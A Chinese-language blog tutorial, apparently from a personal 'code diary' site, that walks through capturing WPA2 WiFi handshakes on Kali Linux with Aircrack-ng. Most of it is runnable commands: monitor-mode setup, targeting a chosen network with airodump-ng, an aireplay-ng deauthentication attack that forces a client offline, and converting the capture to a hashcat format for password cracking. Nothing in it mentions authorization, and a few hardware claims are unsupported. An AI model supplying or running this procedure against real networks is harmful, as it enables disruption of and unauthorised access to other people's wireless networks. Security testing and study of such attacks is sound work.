三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

保姆级教程:用Aircrack-ng套件在Kali Linux上抓取WiFi握手包(附实战避坑点)

保姆级教程:用Aircrack-ng套件在Kali Linux上抓取WiFi握手包(附实战避坑点)

保姆级实战:Kali Linux下用Aircrack-ng捕获WiFi握手包的完整指南

当你第一次尝试在Kali Linux上抓取WiFi握手包时,可能会遇到各种意料之外的问题——网卡拒绝切换监听模式、信号强度不稳定、握手包始终无法捕获。这份指南将用真实的踩坑经验,带你一步步完成从环境准备到成功抓包的全过程。

1. 硬件准备与驱动兼容性检查

选择正确的无线网卡是成功的第一步。市面上标榜"支持监听模式"的USB网卡中,约40%在实际使用中存在驱动兼容性问题。经过实测,以下几款芯片组表现最为稳定:

芯片型号推荐型号示例平均信号强度监听模式稳定性
RTL8812AUAlfa AWUS036ACH-65dBm★★★★★
Atheros AR9271TP-Link TL-WN722N-70dBm★★★★☆
RTL8187LAlfa AWUS036NH-75dBm★★★☆☆

重要提示:避免使用2020年后生产的Intel AX系列网卡,其内核驱动通常锁定监听功能

安装驱动时常见的两个坑点:

  1. DKMS编译失败:先执行sudo apt update && sudo apt install -y dkms linux-headers-$(uname -r)
  2. 权限不足:添加udev规则避免每次插拔需要sudo:
    echo 'SUBSYSTEM=="usb", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="8812", MODE="0666"' | sudo tee /etc/udev/rules.d/80-rtl8812au.rules

验证网卡是否被正确识别:

lsusb | grep -i wireless iwconfig # 应显示wlan0或类似接口

2. 监听模式配置的深度解析

传统教程往往直接教你用airmon-ng切换模式,但实际环境中常会遇到这些情况:

典型错误场景

sudo airmon-ng start wlan0 # 出现错误:"Found processes that could cause trouble..."

此时需要分三步处理:

  1. 终止干扰进程:
    sudo airmon-ng check kill
  2. 手动卸载驱动后重载:
    sudo modprobe -r rtl88XXau sudo modprobe rtl88XXau
  3. 使用更底层的iw命令:
    sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up

验证监听模式是否生效的关键指标:

  • iwconfig输出中应出现"Mode:Monitor"
  • 接口名称可能变为wlan0mon(但并非必须)
  • 执行sudo iw dev wlan0 scan应返回"failed (-95)..."

3. 目标网络扫描与精准捕获技巧

使用airodump-ng时,大多数教程不会告诉你这些细节:

高效扫描命令

sudo airodump-ng wlan0mon --band abg --write /tmp/scan --output-format csv

关键参数解析:

  • --band abg:同时扫描2.4G和5G频段
  • --write:保存扫描结果避免重复扫描
  • -c 6:锁定特定信道减少干扰

解读扫描结果时特别注意:

  • PWR值:选择-70以上的目标(数值越接近0信号越好)
  • #Data:活跃客户端数量>3时更容易捕获握手包
  • ENC类型:优先选择WPA2(CCMP)而非TKIP

实战案例:假设发现目标网络TEST_WIFI(BSSID: AA:BB:CC:DD:EE:FF),使用以下命令开始捕获:

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

4. 握手包捕获的进阶策略

当客户端不活跃时,传统等待方法可能数小时无果。此时需要主动触发:

Deauth攻击的正确姿势

sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

参数说明:

  • -0 3:发送3次解除认证包(过多会导致设备屏蔽)
  • -c:指定目标客户端MAC(可从airodump-ng获取)

验证握手包是否成功的三种方法:

  1. 查看airodump-ng右上角出现"WPA handshake"
  2. 检查cap文件:
    wireshark capture-01.cap # 过滤显示eapol协议
  3. 使用hcxpcapngtool验证:
    hcxpcapngtool -o hash.hc22000 capture-01.cap

5. 常见问题排错手册

问题1:网卡频繁断开连接

  • 解决方案:禁用USB电源管理
    echo 'options rtl88XXau rtw_power_mgnt=0' | sudo tee /etc/modprobe.d/rtl88XXau.conf

问题2:捕获的握手包无法破解

  • 可能原因:5GHz频段信道宽度不匹配
  • 修复方案:强制20MHz带宽
    sudo iw dev wlan0mon set channel 36 HT20

问题3:信号强度波动大

  • 实用技巧:使用铝箔制作定向天线
  • 优化命令:
    sudo iwconfig wlan0mon rate 12M fixed

最后记住,每次实验后务必关闭监听模式:

sudo airmon-ng stop wlan0mon sudo systemctl restart NetworkManager
← 返回列表